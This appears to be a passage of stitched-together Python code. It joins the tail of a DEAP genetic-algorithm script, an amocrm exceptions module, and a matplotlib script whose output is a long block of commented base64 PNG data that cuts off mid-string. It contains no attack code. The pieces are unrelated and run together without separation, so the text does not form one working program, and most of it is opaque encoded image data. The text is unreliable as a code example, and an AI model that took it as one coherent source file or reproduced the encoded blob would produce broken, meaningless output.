tools.HallOfFame(1) stats = tools.Statistics(lambda ind: ind.fitness.values) stats.register("avg", numpy.mean) stats.register("std", numpy.std) stats.register("min", numpy.min) stats.register("max", numpy.max) pop, log = algorithms.eaSimple(pop, toolbox, cxpb=0.5, mutpb=0.2, ngen=40, stats=stats, halloffame=hof, verbose=True) return pop, log, hof if __name__ == "__main__": pop, log, hof = main() print('Best solution:', hof) #in this way we can get data for the log files print(log.select('nevals', 'min', 'avg', 'max')) amocrm/v2/exceptions.py class BaseModuleException(Exception): """ Base exception for all """ class AmoApiException(BaseModuleException): """ Base exception for errors from the amocrm api side """ class UnAuthorizedException(AmoApiException): """ Something wrong with access token or credations """ class PermissionsDenyException(AmoApiException): """ No permissions """ class NotFound(AmoApiException): """ Amocrm api return 404 or nothing """ class NoToken(BaseModuleException): """ Raised if there are no access token in the storage Action - init token """ class NoDataException(BaseModuleException): """ Exception raised when no data found for field Wrong mapping or field may be blank (blank=True) """ class ValidationError(BaseModuleException): """ Exception for validation error response from amocrm """ class InitException(BaseModuleException): """ Instance have no id, create instance first """ # vim: ft=python foldmethod=marker foldlevel=0 import numpy as np import matplotlib.pyplot as plt #---# for i in range(3): a = np.random.random((30,30)) print(i, a.shape) plt.matshow(a) plt.show() #o> 0 (30, 30) #o> png{{{ #o> pngiVBORw0KGgoAAAANSUhEUgAAAeAAAAHgCAYAAAB91L6VAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAP #o> pngYQAAD2EBqD+naQAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDIuMi4yLCBodHRwOi8v #o> pngbWF0cGxvdGxpYi5vcmcvhp/UCwAAIABJREFUeJzt3Xl4VOXdxvE7OwGSwbBkkQBhV4GoCBFRREFCaKkI #o> pngLrgV0aJooEJcsSqg1tSlSkWEtiqIFVQUpKLyVlGwVsCKUqRKhBgEJAmCMkMC2c/7h5fRKOL8KMlDku/n #o> pnguuZSJvfM85ycmblzZpLnhHie5wkAANSpUNcTAACgMaKAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgAIG #o> pngAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBw #o> pnggAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCA #o> pngAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAA #o> pngHKCAD8OsWbPUoUMHNWnSRGlpaXrvvfdcT6lWTZs2TSEhITUu3bt3dz2tI+7tt9/W8OHDlZSUpJCQEL30 #o> png0ks1vu55nu68804lJiYqOjpagwcP1ubNmx3N9sj5ue2+4oorfrT/hw4d6mi2R0Z2drb69OmjmJgYtWnT #o> pngRiNGjFBOTk6NTElJiTIzM9WyZUs1b95co0aNUmFhoaMZHxnBbPfAgQN/tL/Hjx/vaMYNGwVs9Nxzzykr #o> pngK0tTp07VBx98oNTUVKWnp2vXrl2up1arTjjhBOXn51df3nnnHddTOuKKi4uVmpqqWbNmHfTr999/vx55 #o> png5BHNmTNHa9euVbNmzZSenq6SkpI6numR9XPbLUlDhw6tsf8XLlxYhzM88latWqXMzEytWbNGr7/+usrL #o> pngyzVkyBAVFxdXZyZPnqyXX35ZixYt0qpVq7Rz506NHDnS4az/d8FstySNGzeuxv6+//77Hc24gfNg0rdv #o> pngXy8zM7P635WVlV5SUpKXnZ3tcFa1a+rUqV5qaqrradQpSd6SJUuq/11VVeUlJCR4DzzwQPV1e/fu9aKi #o> pngoryFCxe6mGKt+OF2e57njRkzxjv33HMdzahu7Nq1y5PkrVq1yvO8b/ZtRESEt2jRourMJ5984knyVq9e #o> png7WqaR9wPt9vzPO/MM8/0rr/+eoezajw4AjYoKyvTunXrNHjw4OrrQkNDNXjwYK1evdrhzGrf5s2blZSU #o> pngpI4dO+rSSy/Vtm3bXE+pTuXl5amgoKDGvvf5fEpLS2vw+16SVq5cqTZt2qhbt2669tprtWfPHtdTOqL8 #o> pngfr8kKS4uTpK0bt06lZeX19jf3bt3V7t27RrU/v7hdn/rmWeeUatWrdSjRw9NmTJF+/fvdzG9Bi/c9QTq #o> pngk927d6uyslLx8fE1ro+Pj9emTZsczar2paWlad68eerWrZvy8/M1ffp0nXHGGdq4caNiYmJcT69OFBQU #o> pngSNJB9/23X2uohg4dqpEjRyolJUW5ubm67bbblJGRodWrVyssLMz19P5nVVVVmjRpkvr3768ePXpI+mZ/ #o> pngR0ZGqkWLFjWyDWl/H2y7JemSSy5R+/btlZSUpA0bNuiWW25RTk6OFi9e7HC2DRMFjJ+VkZFR/f+9evVS #o> pngWlqa2rdvr+eff15XXXWVw5mhLowePbr6/3v27KlevXqpU6dOWrlypQYNGuRwZkdGZmamNm7c2CB/r+FQ #o> pngfmq7r7766ur/79mzpxITEzVo0CDl5uaqU6dOdT3NBo23oA1atWqlsLCwH/0mZGFhoRISEhzNqu61aNFC #o> pngXbt21ZYtW1xPpc58u38b+76XpI4dO6pVq1YNYv9PmDBBy5Yt01tvvaW2bdtWX5+QkKCysjLt3bu3Rr6h #o> png7O+f2u6DSUtLk6QGsb+PNhSwQWRkpHr37q0VK1ZUX1dVVaUVK1aoX79+DmdWt4qKipSbm6vExETXU6kz #o> pngKSkpSkhIqLHvA4GA1q5d26j2vSTt2LFDe/bsqdf73/M8TZgwQUuWLNGbb76plJSUGl/v3bu3IiIiauzv #o> pngnJwcbdu2rV7v75/b7oNZv369JNXr/X204i1oo6ysLI0ZM0annHKK+vbtqxkzZqi4uFhjx451PbVac+ON #o> pngN2r48OFq3769du7cqalTpyosLEwXX3yx66kdUUVFRTV+ys/Ly9P69esVFxendu3aadKkSbrnnnvUpUsX #o> pngpaSk6I477lBSUpJGjBjhcNb/u0Ntd1xcnKZPn65Ro0YpISFBubm5uvnmm9W5c2elp6c7nPX/JjMzUwsW #o> pngLNDSpUsVExNT/bmuz+dTdHS0fD6frrrqKmVlZSkuLk6xsbGaOHGi+vXrp1NPPdXx7A/fz213bm6uFixY #o> pngoGHDhqlly5basGGDJk+erAEDBqhXr16OZ98Auf417Ppo5syZXrt27bzIyEivb9++3po1a1xPqVZddNFF #o> pngXmJiohcZGekde+yx3kUXXeRt2bLF9bSOuLfeesuT9KPLmDFjPM/75k+R7rjjDi8+Pt6LioryBg0a5OXk #o> png5Lid9BFwqO3ev3+/N2TIEK9169ZeRESE1759e2/cuHFeQUGB62n/Tw62vZK8uXPnVmcOHDjgXXfddd4x #o> pngxxzjNW3a1DvvvPO8/Px8d5M+An5uu7dt2+YNGDDAi4uL86KiorzOnTt7N910k+f3+91OvIEK8TzPq8vC #o> pngBwAAfAYMAIATFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABH4bS0lJNmzZNpaWlrqdSp9hu #o> pngtrsxYLsb13a7xEIchyEQCMjn88nv9ys2Ntb1dOoM2812NwZsd+Pabpc4AgYAwAEKGAAABzgb0iFUVVVp #o> png586diomJUUhISPX1gUCgxn8bC7ab7W4M2O6Gud2e52nfvn1KSkpSaOjRcezJZ8CHsGPHDiUnJ7ueBgDg #o> pngCNm+fbvatm3rehqSOAI+pJiYGEnSgKjzFB4SEdRtrlr9X/M4/aO/MuUvnjjePMa+3+wz5Z/tOd+U31TW #o> pngwpSXpDtnX2HKJz6fYx6j5MQOpvzkhxea8rPGjjTlJemup23f2+Rw+8/IYy8ZY8pPe+ppU/63911nykvS #o> pnglZNeNuVPbrLNPMbY+RNM+ZYfV5jyMf/ebspLUu61HUz5Z85/1DzG6GWZpvyyXz1iyo+cN8mUl6R3r/qz #o> pngKf9y8THmMebu6B90tmJ/mdaM/mv16/rRoMEX8KxZs/TAAw+ooKBAqampmjlzpvr27RvUbb992zk8JELh #o> pngIZFB3aZpTJh5jrHRtrdDwiOamMcIa1pmysfE2ObUrMy+3WFRtu0Idh/UuE24bYxmxv0XHhZlyktSc+P3 #o> pngNvYwCjg8zLbd1jmFRdofg9HNbS83zY3PC+kwHlMRtgIOD7U/BkOb1O6+OJwxrM9v6/dVkmKNYzQNtb+G #o> pnghDezP/++/3Gia0fHG+G15LnnnlNWVpamTp2qDz74QKmpqUpPT9euXbtcTw0A0Mg16AJ+6KGHNG7cOI0d #o> pngO1bHH3+85syZo6ZNm+rJJ590PTUAQCPXYAu4rKxM69at0+DBg6uvCw0N1eDBg7V69eqD3qa0tFSBQKDG #o> pngBQCA2tBgC3j37t2qrKxUfHx8jevj4+NVUFBw0NtkZ2fL5/NVX/gNaABAbWmwBXw4pkyZIr/fX33Zvt3+ #o> pngG48AAASjwf4WdKtWrRQWFqbCwsIa1xcWFiohIeGgt4mKilJUlP236gAAsGqwR8CRkZHq3bu3VqxYUX1d #o> pngVVWVVqxYoX79+jmcGQAADfgIWJKysrI0ZswYnXLKKerbt69mzJih4uJijR071vXUAACNXIMu4Isuukhf #o> pngfvml7rzzThUUFOjEE0/U8uXLf/SLWQAA1DXWgj6Eb8+Peday8UGvuNIm2rbkoyS9+6/jTfmOLx4wj7Fo #o> png0RxT/pL+F5ryJZ3bmPKSVHBdiSl/oNj++XzUFtsKPh2Wfm0b4DCePo+9/LgpP2HAxeYxPn/Ydj5X37O2 #o> png5fl63PgfU16S3sjpbsonxxv3haToXx38Lxx+yn2bVpryJZ59taYJ035ryu8+y7ZqnSQ1+9j23Gi36AtT #o> png3gvYX9e8RNtrQshM+599JjcL/jFSVlSm+Wc9d1Sd77jBfgYMAMDRjAIGAMABChgAAAcoYAAAHKCAAQBw #o> pnggAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHGjQZ0M6UkYn/VvRzYP7VnWJtC0GL0mb #o> pngPjrBlH/thbnmMV7e39qU7/SibTs2X9HMlJekkv3RpnyLFsXmMdoO2mnKxw61nSDiFN9WU16SrvvFb0z5 #o> pngsk72723SAxWmfPHUXab85ttsJxCRpKqLbD/vX9nuHfMYfx02ypS/besxpnxppf0ls7RFiCk/6LhN5jF2 #o> pngXGc7Kcju81NN+ZnTHzHlJWne7jNM+dU7O5jH2LEs+NtUlpZIes48Rm3iCBgAAAcoYAAAHKCAAQBwgAIG #o> pngAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgLWggzDv1l8pPKJJUNmiY+3f0tX3 #o> pngPmrKz/F3MI8x58nhpnzs55WmfGTbKlNekpad8SdTvkq2NXUl6YYuZ5ry0e9EmPIXxWw05SXpqQHDbDdI #o> png/8o8RtOoMlM+v8C2JnLnA7bHhyR1m2NbZ7vNWfvMY+SfZnuM7Njc1pRvmmd7fEhSt1GbTfltafY1zzc/ #o> pngdbIp/8qZfzTlz5t/gykvSc232/KJq2zrkUtSn0Wrgs6WFpVr00zzELWKI2AAAByggAEAcIACBgDAAQoY #o> pngAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHQjzP81xP4mgVCATk8/l0 #o> png/DX3KiwquJMxHLvsC/M4e/onmvIHWtp/btrX1bZ4fmxOmCl/U+ZzprwkNQkpN+V/t/Ay8xhlHWwnAEhe #o> pngZDuZxp4e9pNvFHe0bXfHZ+0nuojKD5jyXf+WZ8p/OiTWlJek8WvWmPI3fXC+eYzHTnnGlL//4ktM+Z0D #o> pngYkx5SXpnku3EB8MmTzKP0WL1DlM+ZcluUz73TNvrgSSVnnacKV/ZxD5GQVrwt6kqKdFn9/xOfr9fsbH2 #o> pngx29t4AgYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEA #o> pngcMC+kG0jVNzngEKbBrdkdtJltjVWJUkX2tb6zfujzzxEpz9FmPKh//zQlL+r/y9MeUlKnBdlyv/38UfN #o> pngY5x+43Wm/P7WIaZ8i4EFprwk3Z7ylik/6hf2x1TXv19rypfdYFvjOKIkx5SXpBsXjTHl37n8QfMYaa/Z #o> png1lE+LjfXlK/I6G7KS9KwrMmmfGFf22NQkhJ/W2rKH6i0vR58Pr+DKS9JyRd8YMoX3trPPMaYc1cEnS0p #o> pngKtfv7zEPUas4AgYAwIEGXcDTpk1TSEhIjUv37vafYAEAONIa/FvQJ5xwgt54443qf4eHN/hNBgDUAw2+ #o> pngjcLDw5WQkOB6GgAA1NCg34KWpM2bNyspKUkdO3bUpZdeqm3btv1ktrS0VIFAoMYFAIDa0KALOC0tTfPm #o> pngzdPy5cs1e/Zs5eXl6YwzztC+ffsOms/OzpbP56u+JCcn1/GMAQCNRYMu4IyMDF1wwQXq1auX0tPT9eqr #o> pngr2rv3r16/vnnD5qfMmWK/H5/9WX79u11PGMAQGPR4D8D/r4WLVqoa9eu2rJly0G/HhUVpago29+mAgBw #o> pngOBr0EfAPFRUVKTc3V4mJia6nAgBo5Bp0Ad94441atWqVtm7dqnfffVfnnXeewsLCdPHFF7ueGgCgkWvQ #o> pngb0Hv2LFDF198sfbs2aPWrVvr9NNP15o1a9S6dWvXUwMANHIhnucFt8hxIxQIBOTz+TSg3+0KD28S1G28 #o> pngcPubCt0f+K8p/8q6VPMYW4bPMeV/McK2bu++u4tNeUnK32L7QajLhLXmMe7Ls93mwjVXm/JN3m9myktS #o> png+Jl7TPm9e+1jdL97rym/v3NLU77VbXmmvCSd1dK2fvTXFfbtfnHO2ab84zfNMOUveHWiKS9JM9OfMuUn #o> pngvmZ77klSRMD2ulNlWwpaIe3sz+/K/KamfGiZfQ1sGdqrqqREW6f+Tn6/X7GxsfaxakGDfgsaAICjFQUM #o> pngAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOMDJGA7h #o> png25MxtP3TdIVGB3cyhtTu28zjlFWFmfKDW28yj7Hwj+mmfGil7f6/Pt6Wl6SoPbbF14uTjZOS1HSn7Xvb #o> png/rkvTPn89CRTXpK6X27bf18NtC+Ef+um90356x8Zb8qHDbKdUEKS/t17oSnf+WXbnCTpjYyHTPmJJ//K #o> pnglK9aFG3KS9Jnu2wnuigvjjSP8eqgR0z5p78+1ZR/YXl/U16SKpvYqiVin/1kDLG9dwedrdxfqvXnP8TJ #o> pngGAAAaOwoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwINz1 #o> pngBOqD1el/VmxMcD+r3LDzLPP9f7Ar2ZRvnlBiHiPQyZZPXF1hyu+Kr7INICmsJMqU7373Z+Yx9g6ybfim #o> pngu+NM+Sf6/dmUl6Qb7rvGlL9mw1LzGHddM9aUr+hju/+KNbb1jSWpf/iFpnz3xwLmMSbMHmfKL/rPXFN+ #o> pngafGxprwkTS/8pSkf9UWEeYw3io8z5ae3+dCU//Du5qa8JJUMOMGU33q+/bQEra8Ofp30iqpS8/3XNo6A #o> pngAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAA #o> pngHAjxPM++AnYjEQgE5PP5dP4bv1ZEs8igbrN6TXfzOB9d+Igpf37qUPMY8a+Um/KXtX7XlP/j8FGmvCTl #o> pngnd/KlI/dan+otnx/jym/fZhtThEDbPcvSfs22U74ELUnxDzGPb+Zb8r/7slfm/KxW+0n3/j6vOAXzpek #o> pnglLH2k29snt7TlO+8cJ8pnzO+qSkvSdHHHDDlO9xZZh4jP9t2LDU4OceU/zDrJFNekm5+/GlTPq2J/eQb #o> pngmdsygs6WF5fphcHz5ff7FRsbax6rNnAEDACAAxQwAAAOUMAAADhAAQMA4AAFDACAAxQwAAAOUMAAADhA #o> pngAQMA4AAFDACAAxQwAAAOUMAAADgQ7noC9UHOgm4Ki2wSVDZ36uzDGCG4daa/lT/avt70prW2tXsL77bN #o> png6bOJtjWUJemYTbY5lTe3r4lcFt/clE9+eosp/2rWP0x5STp+7XWm/MDz15nHyL77clO+zeVfmPLRl9nW #o> pngN5akATfvMuXz37Cv13tSE9sa5p/1sz1uU6ammPKSFPHmJ6b8sauDe635vhGxeab8iU0+tw3wkC0uSQ/3 #o> png6mPKZ//3LfMYXZoF/5gq9Wzr4dcFjoABAHCg3hbw22+/reHDhyspKUkhISF66aWXanzd8zzdeeedSkxM #o> pngVHR0tAYPHqzNmzc7mi0AADXV2wIuLi5WamqqZs2addCv33///XrkkUc0Z84crV27Vs2aNVN6erpKSkrq #o> pngeKYAAPxYvf0MOCMjQxkZBz8XpOd5mjFjhm6//Xade+65kqT58+crPj5eL730kkaPHl2XUwUA4Efq7RHw #o> pngoeTl5amgoECDBw+uvs7n8yktLU2rV6/+yduVlpYqEAjUuAAAUBsaZAEXFBRIkuLj42tcHx8fX/21g8nO #o> pngzpbP56u+JCcn1+o8AQCNV4Ms4MM1ZcoU+f3+6sv27dtdTwkA0EA1yAJOSEiQJBUWFta4vrCwsPprBxMV #o> pngFaXY2NgaFwAAakODLOCUlBQlJCRoxYoV1dcFAgGtXbtW/fr1czgzAAC+UW9/C7qoqEhbtny3alFeXp7W #o> pngr1+vuLg4tWvXTpMmTdI999yjLl26KCUlRXfccYeSkpI0YsQIh7MGAOAb9baA33//fZ111lnV/87KypIk #o> pngjRkzRvPmzdPNN9+s4uJiXX311dq7d69OP/10LV++XE2a2Jd5AwDgSAvxPM9zPYmjVSAQ+ObPl5b8VuHN #o> pngooK6zZBE27qvkrRwc29TPuQ9n3mM4o62dVBnD5pvyj8ydJgpL0mbJrcx5bt0t61XLElF5bY1rdvHfG3K #o> png7/x9Z1NekkY/+KopP2+r/WOTf6Y+Z8r3+stEU77TWba1hyWpqCy459C3ml5nX/v7kxtam/I9j99myj/Y #o> png4UVTXpJGPnaTKb/gWvvCyyP+fr0pn3J8vilfGIgx5SWpap3tderEYfbXzq9+mxR0tqKyVG99+Af5/f6j #o> png5vd7GuRnwAAAHO0oYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCA #o> pngAQBwgAIGAMCBens2pLp0SfJ7im4e3LcqIWKv+f79KdGm/Atf9jGP0WVemSl/yydXmfIJcftMeUl6OmO2 #o> pngKX/vWeeax9h1Xbwp/3+XLjDl//ZgJ1Nekh58bbgpHxGw/5w8ufVppnyTk78y5f+UssiUl6QL/mN7TB04 #o> pngLc48RueuO0z5RZ1fNuX733mjKS9JMQeqTPkLnp5sHqPd6gpTflsr2/e2d3vbSSsk6f1jbCdwGNryI/MY #o> pngC0KODT5sP7dHreMIGAAAByhgAAAcoIABAHCAAgYAwAEKGAAAByhgAAAcoIABAHCAAgYAwAEKGAAAByhg #o> pngAAAcoIABAHCAtaCDcHFMvmJjgvtZ5Zxx4833f/+sx0z5F6JONo9RPNW2VnPr+8JM+U+vjTTlJalFaKkp #o> pngn/rS5+YxLmn6ril/7q8zTfnr5tjXRO72yBem/Me3JJrH+OcXHU35v6bON+Uz3rV9nyQpYkMzU76ypXkI #o> pngaV5bU/yssommfIhtEyRJi//woCn/0O4zzGN8+OZJpvyAjltM+fwrk0x5Saq6xpZ/9pf27c65sWnQ2aoD #o> pngodIH5iFqFUfAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAA #o> pngBQwAgAMUMAAADoR4nue5nsTRKhAIyOfzadjyqxTRLLiTDfSL+8w8zuJ7zzHlI8YUmsdocpfPlP/suhBT #o> png/hhfsSkvSbsLY035k7rYT8awcaftRAZvnmY7McY5j99sykuSetpOjNH81ebmIfYeZ8un9ttsyn8xu7Nt #o> pngAEkX3PYPU372q+nmMWaMnGvKT3pxrCnf4ZQdprwkRYeXm/L581LMY+w50fYy3qrzHlP+dePJOiRp+ITr #o> pngTfmKJvbjwYJhZUFnqw6UaPvVd8nv9ys21vbaU1s4AgYAwAEKGAAAByhgAAAcoIABAHCAAgYAwAEKGAAA #o> pngByhgAAAcoIABAHCAAgYAwAEKGAAAByhgAAAcCHc9gfpgz6PtFR7RJKjsX0+1r5Fbfk7w65lKUkZcvnmM #o> png0Bk7TfncTceb8l/7m5nyktSnW54p/+nz3cxjhA8ImPLX9B9typf/4YApL0mtF9u+V5fdscw8RpiqTPkX #o> png80825Q+0tP/s/tz9trWdmze3rUcuSR3Cvzblu8zbbcoXvWtbW1ySckdWmPLhQ/abx+jysG1/d5m1zZQ/ #o> png5W9ZprwktS2xbbc/xf6YilkX3OuyJFWWmu++1nEEDACAA/W2gN9++20NHz5cSUlJCgkJ0UsvvVTj61dc #o> pngcYVCQkJqXIYOHepotgAA1FRvC7i4uFipqamaNWvWT2aGDh2q/Pz86svChQvrcIYAAPy0evsZcEZGhjIy #o> pngMg6ZiYqKUkJCQh3NCACA4NXbI+BgrFy5Um3atFG3bt107bXXas+eQ5+EurS0VIFAoMYFAIDa0GALeOjQ #o> pngoZo/f75WrFih++67T6tWrVJGRoYqKyt/8jbZ2dny+XzVl+Tk5DqcMQCgMam3b0H/nNGjv/tzkp49e6pX #o> pngr17q1KmTVq5cqUGDBh30NlOmTFFW1ne/bh8IBChhAECtaLBHwD/UsWNHtWrVSlu2bPnJTFRUlGJjY2tc #o> pngAACoDY2mgHfs2KE9e/YoMdH+h/QAABxp9fYt6KKiohpHs3l5eVq/fr3i4uIUFxen6dOna9SoUUpISFBu #o> pngbq5uvvlmde7cWenpttV4AACoDfW2gN9//32dddZZ1f/+9rPbMWPGaPbs2dqwYYOeeuop7d27V0lJSRoy #o> pngZIjuvvtuRUVFuZoyAADVQjzP81xP4mgVCATk8/nUNetehUUFt+boiNH/NI+z9vpTTPm8q81DqO0C289a #o> png5RMP/SdbP3Rq662mvCT9/fU0U76qbYl5jG73Fpvyv1v2rCn/d79tDWVJ+mhoG1M+79F48xhvps025TdX #o> pngNDflf3/Jr015SapsYnsMjv3zUvMYTULKTflbF19qyrf+0P5y+dZDM035kX3PNY/x3NrFpvypM21rO7d/ #o> pngdrspL0mfPdjClO+ZaFuvXpKGtfoo6OyBogpN6P2e/H7/UfP7PY3mM2AAAI4mFDAAAA5QwAAAOEABAwDg #o> pngAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgQL09G1Jdium/S2HNgjuL0iuP #o> pngn2G+/8tnLTfln33QfkpFf4cQU/6F4+ab8nO/7mfKS1KXp3ab8pvGtzSP8WVacCfR+NaVz2Ta8iPeMOUl #o> pngafPkTrYblB8wj3F34WBT/sTm20z53PObmvKS1PmZfab8tCUXmseoaFFpyv9i0Aem/P+1O86Ul6RlxbbH #o> png7Sf3JpjHuH6HbX97xkOvTi8W2G4g6eP3bede3/pKV/MYc/cE/1yqKC+R9J55jNrEETAAAA5QwAAAOEAB #o> pngAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAGtBB+HrD1orrElwawqH #o> pngDgyY7//Fu4aY8sv++KB5jLMfvcmUH/7v8aZ8k8hyU16SEr/ea8p3v/sr8xiVX9nGqFpqW6f5qefPMeUl #o> pngacaYJ035md17mMcYv+UdUz45rMqUb/mrBaa8JPW5cKcpf9XlE81jVETbXtKi+tget50etq01LUlnLs7E #o> png4IblAAAQnElEQVQ35cMKglt3/vvy72ljyicl2NYX//Qc2/1L0txzHjfl75sz2jzGNYv+HnR2/75KrXnN #o> pngPESt4ggYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEA #o> pngcIACBgDAAU7GEITjB+QqollkUNmirETz/Q+dt9yUHzb9RvMYxaeVmfLH37TPlP/4pnhTXpISfLaF7e9e #o> pngbj8BwOYy27w27Lctzr9wx6mmvCS96T/elN82pa95jDH/6WzKz+75jCk/5YVLTXlJevCCp0z5iE1fmMcI #o> pngTUkw5Ze/YNt/3i32k620Cmtmyrd9q8I8xic3tDLlW2ywvfT/reMLprwk/fKtCab8qy/NNI8xbtNlQWcr #o> pngikslfWQeozZxBAwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAA #o> pngDlDAAAA4EOJ5nud6EkerQCAgn8+nky+8R2GRTYK6jX9EsXmckn1Rpvwtp75mHuPv5/c35auiI0z53Iti #o> pngTXlJ6nLvx6b818OOM49x+o1rTflLj1ljy/9lsikvSU322J5yl19v39+PLc0w5csTbGtgh4RXmfKSFN2s #o> png1JRvf+sB8xibftvalD/mI9sxSJTf/nL5yoMPmfJjPzvPPMbQ1htN+f1Vttec2a+km/KS1KXv56b8V0+0 #o> pngM4/Rc2LwazuXFZXpb2cvlN/vV2ys/fWqNnAEDACAA/W2gLOzs9WnTx/FxMSoTZs2GjFihHJycmpkSkpK #o> pnglJmZqZYtW6p58+YaNWqUCgsLHc0YAIDv1NsCXrVqlTIzM7VmzRq9/vrrKi8v15AhQ1Rc/N1bwJMnT9bL #o> pngL7+sRYsWadWqVdq5c6dGjhzpcNYAAHyj3p4PePnymufQnTdvntq0aaN169ZpwIAB8vv9euKJJ7RgwQKd #o> pngffbZkqS5c+fquOOO05o1a3TqqfbzuAIAcKTU2yPgH/L7/ZKkuLg4SdK6detUXl6uwYMHV2e6d++udu3a #o> pngafXq1Qe9j9LSUgUCgRoXAABqQ4Mo4KqqKk2aNEn9+/dXjx49JEkFBQWKjIxUixYtamTj4+NVUFBw0PvJ #o> pngzs6Wz+erviQnJ9f63AEAjVODKODMzExt3LhRzz777P90P1OmTJHf76++bN++/QjNEACAmurtZ8DfmjBh #o> pnggpYtW6a3335bbdu2rb4+ISFBZWVl2rt3b42j4MLCQiUkJBz0vqKiohQVZfv7OAAADke9PQL2PE8TJkzQ #o> pngkiVL9OabbyolJaXG13v37q2IiAitWLGi+rqcnBxt27ZN/fr1q+vpAgBQQ709As7MzNSCBQu0dOlSxcTE #o> pngVH+u6/P5FB0dLZ/Pp6uuukpZWVmKi4tTbGysJk6cqH79+vEb0AAA5+ptAc+ePVuSNHDgwBrXz507V1dc #o> pngcYUk6eGHH1ZoaKhGjRql0tJSpaen67HHHqvjmQIA8GOsBX0I364FPTB0pMJDglsb+dNHe5vHeS5jlik/ #o> pngtcdA8xihrVua8ie9lGfKjz3m4H/adSgTh4415au22NaWlaTQLh1M+U+vjDPlqyLtT59h/dab8h8+cJJ5 #o> pngjNcfesSUH9XtLFM+YYX906vV2zqY8uVl9uODqrIwU/7RAX8z5f/6xZmmvCSV/zrSlM/7tf2vLxLfta2z #o> pngvXWsbS3vPin2596j7V425YffcoN5jOl3PRF0tnhfpc4/8VPWggYAoLGjgAEAcIACBgDAAQoYAAAHKGAA #o> pngAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAH6u3ZkOpS3j0nK7RJk6Cy4UUh5vtv #o> pngFlJhyp//fq55jJmzU0353E99pnxEt0pTXpKe+L+5pvxpy7LMY3TP2mDKh7eLMuVjljc35SWpX/oWU35j #o> pngUS/zGCe8fq3tBjNtj9uQy7+y3b+kjl9us40RHW0e46Z3/mHKj3vhGlP+pP6fmvKSVNg/5edD33PJBW+a #o> pngx3hvcAdTvvMtbUz5T/p1N+UlKfuyvab83s7248E77vpN0NnKshJJvzOPUZs4AgYAwAEKGAAAByhgAAAc #o> pngoIABAHCAAgYAwAEKGAAAByhgAAAcoIABAHCAAgYAwAEKGAAAByhgAAAcYC3oIPTp+6kimkUGld0aiDPf #o> png/4jnbGsc/+7cF81jFB/rmfLTUl815f/w+EWmvCRdPfE9U/74+/LNYxSf3dOUT3rc9n1SVZktL+n2f51n #o> pngyrdIiTCP0fxjW740zrjdh6EyUGTKX/3eh+YxXvHb1jyP+6/t/jcWdbPdQFKzKNv3ttKzHxdt3NDelO8U #o> pngXmrKF518wJSXpNjwElM+epf9MbgnNfjbVJV40kLzELWKI2AAAByggAEAcIACBgDAAQoYAAAHKGAAAByg #o> pnggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHOBlDEM5o8amimwf3rbqs/Xbz/c849nhT #o> pngPr3pZ+Yxfm/Mv1h4sinfds5HxhGknPGxpvwl/3jXPMY9z9hOElEeY1sQvuvvjWc9kHTfY+tN+ccWXWge #o> pngo8lNO035v3R+zpQ/p+N1prwk3dDLdjKNv1483DzGl6fYHlMRldYTAIQY85Jvq+3EB4vzbCeUkKRz0jaY #o> png8p8/2dGUX3j6PFNeku68YKwp3ypiv3mMebf+Oehs0b4qnXGbeYhaxREwAAAOUMAAADhAAQMA4AAFDACA #o> pngAxQwAAAOUMAAADhAAQMA4AAFDACAAxQwAAAOUMAAADhAAQMA4ECI53nWxVAbjUAgIJ/Ppwf/3T/otaAP #o> pngh7+yqSl/YeyH5jEe23OGKb94VZopH15kXyP3Txc/acpPXHyleYxbhy8x5VuHB0z5OTsGmvKStP21DqZ8 #o> png6Glfm8fYt822JnJomW3/DRrwH1Nekla+fqIp33PAZvMYO/a1MOUD77Yx5SP9prgkqcVw27rc0zr93TzG #o> pngla+OM9/GoutTxebb5IxvYsrHr7S/xrZ8a1vQ2YqqUr2x88/y+/2KjbU9P2oLR8AAADhQbws4Oztbffr0 #o> pngUUxMjNq0aaMRI0YoJyenRmbgwIEKCQmpcRk/fryjGQMA8J16W8CrVq1SZmam1qxZo9dff13l5eUaMmSI #o> pngiotrvlUybtw45efnV1/uv/9+RzMGAOA79fZ8wMuXL6/x73nz5qlNmzZat26dBgwYUH1906ZNlZCQUNfT #o> pngAwDgkOrtEfAP+f3f/HZEXFxcjeufeeYZtWrVSj169NCUKVO0f/9Pn/S5tLRUgUCgxgUAgNpQb4+Av6+q #o> 